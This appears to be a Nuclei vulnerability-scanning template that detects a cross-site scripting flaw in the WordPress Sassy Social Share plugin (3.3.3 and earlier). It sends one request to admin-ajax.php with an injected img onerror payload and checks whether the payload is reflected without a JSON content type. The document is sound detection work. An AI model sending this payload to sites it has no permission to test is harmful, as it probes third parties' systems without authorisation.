id: sassy-social-share-xss

info:
  name: Sassy Social Share <=3.3.3 - Cross-Site Scripting
  author: Random_Robbie
  severity: medium
  description: |
    WordPress Sassy Social Share 3.3.3 and prior is vulnerable to cross-site scripting because certain AJAX endpoints return JSON data with no Content-Type header set and then use the default text/html. In other words, any JSON that has HTML will be rendered as such.
  reference:
    - https://wpscan.com/vulnerability/4631519b-2060-43a0-b69b-b3d7ed94c705
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: xss,wp,wpscan,wordpress,wp-plugin,sassy,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%3E]="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[{"<img src=x onerror=alert(document.domain)>":""}]'
          - 'facebook'
          - 'twitter'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'
        negative: true

      - type: status
        status:
          - 200
# digest: 490a00463044022073a754a13b27ce1895aac57a10747e69f52efa16007091b92595a9e31c3fecbe02204cf38c01514765d5083a358a421f736111b99ebec9b11b4e74de1bb48bcb5285:922c64590222798bb761d5b6d8e72950